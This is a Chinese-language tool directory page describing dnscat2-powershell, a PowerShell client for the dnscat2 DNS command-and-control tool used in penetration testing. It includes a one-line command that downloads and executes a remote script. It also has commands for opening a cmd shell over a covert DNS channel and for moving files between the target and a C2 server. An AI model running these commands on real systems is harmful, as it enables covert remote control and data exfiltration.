Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/lukebaggett/dnscat2-powershell
加密/解密工具后渗透利用渗透测试命令与控制红队DNS 分析Archived
GitHublukebaggett/dnscat2-powershell

dnscat2-powershell

一个针对 dnscat2 的 PowerShell 客户端,dnscat2 是一款加密的 DNS 命令与控制工具。

查看仓库
4351233年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

dnscat2 是一款由 @iagox86 (Ron Bowes) 开发的 DNS 隐蔽通道工具,用于通过 DNS 请求传输数据。

这是 dnscat2 C 客户端的一个 PowerShell 版本。

点击此处查看博客文章,其中更详细地介绍了此脚本的用途及使用方法。

要使用此脚本,您需要 Ruby 版本的 dnscat2 服务器。运行服务器时务必添加 --no-cache 选项。此客户端与服务器的缓存机制不兼容。

设置

首先,安装 dnscat2 服务器。 使用 --no-cache 禁用缓存启动服务器。启动服务器的命令应类似于:ruby dnscat2.rb --dns="domain=example.com" --no-cache

接下来,启动 Windows PowerShell(版本 2.0 或更高)。您可以使用以下命令加载 dnscat2 PowerShell 函数:

root@kitploit:~
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')

示例

Start-Dnscat2 是实际用作客户端的函数。使用 -Domain 指定 dnscat2 服务器。

root@kitploit:~
启动一个命令会话,并将 DNS 请求发送到 8.8.8.8 的 53 端口:
    Start-Dnscat2 -Domain <dnscat2 服务器> -DNSServer 8.8.8.8

发送一个 cmd shell,并将 DNS 请求发送到 Windows 设置的默认 DNS 服务器:
    Start-Dnscat2 -Domain <dnscat2 服务器> -Exec cmd

启动一个控制台会话。仅使用 CNAME、MX 和 AAAA 请求:
    Start-Dnscat2 -Domain <dnscat2 服务器> -LookupTypes @("CNAME","MX","AAAA") -Console

不加密会话。默认启用加密。
    Start-Dnscat2 -Domain <dnscat2 服务器> -NoEncryption

PowerShell 命令会话命令

客户端可以处理普通的 dnscat2 命令,或者该命令的 PowerShell 版本。要使用 PowerShell 版本的命令,请设置客户端将检测到的特定参数(以下是从服务器上的命令会话运行的命令):

root@kitploit:~
启动一个新会话,模拟 PowerShell shell,类似于 ExecPS:
    exec psh

将服务器上的 app.exe 上传为十六进制字符串,存储在 $app PowerShell 变量中:
    upload app.exe hex:$app

将存储在 $app PowerShell 变量中的字节数组下载到服务器上的 app.exe:
    download bytes:$app app.exe

Start-Dnscat2

root@kitploit:~
-Domain <字符串>           dnscat2 服务器使用的域名。
-DNSServer <字符串>        发送 DNS 查询的主机名或 IP 地址。(默认值:由 Windows 设置)
-DNSPort <Int32>           发送 DNS 查询的端口。(默认值:53)

-Command                  启动一个命令会话。(默认值)
-Exec <字符串>             将进程的 I/O 与 Dnscat2 会话链接。
-Console                  将控制台的 I/O 与 Dnscat2 会话链接。
-ExecPS                   模拟 PowerShell 会话并将 I/O 与 Dnscat2 会话链接。
                          警告:退出将终止整个 dnscat2 客户端,而不仅仅是该会话。

-PreSharedSecret          在服务器上设置相同的密钥以进行身份验证并防止中间人攻击。
-NoEncryption             不使用加密。

-LookupTypes <字符串[]>    设置一个查询类型数组,以便随机切换。
                          仅支持 TXT、MX、CNAME、A 和 AAAA 记录。默认值:@(TXT, MX, CNAME)
-Delay <Int32>            设置每个请求之间的延迟时间,以毫秒为单位。(默认值:0)
-MaxRandomDelay <Int32>   设置添加到正常延迟中的随机延迟的最大值,以毫秒为单位。(默认值:0)
-MaxPacketSize <Int32>    dnscat2 数据包的最大长度。(默认值:240)
-Name <字符串>             dnscat2 会话的名称。(默认值:主机名)

ExecPS 和 'exec psh'

dnscat2-powershell 通过将来自服务器的数据传递给 Invoke-Expression 来模拟 PowerShell 会话。仅返回标准输出,只要客户端运行,变量就会保持。注意那些会退出 PowerShell 的命令,如 "exit" 和 "break",因为整个 dnscat2-powershell 客户端将退出,而不仅仅是 ExecPS 会话。

其他致谢

  • Stack Overflow 上的 db9 的 BouncyCastle ECDH 演示。
  • FrankSpierings 在 PowerShell 中通过 C# 实现的 Salsa20 和 Sha3。
  • Rebex Labs 为 ECC 提供的精简版 BouncyCastle DLL。
下载工具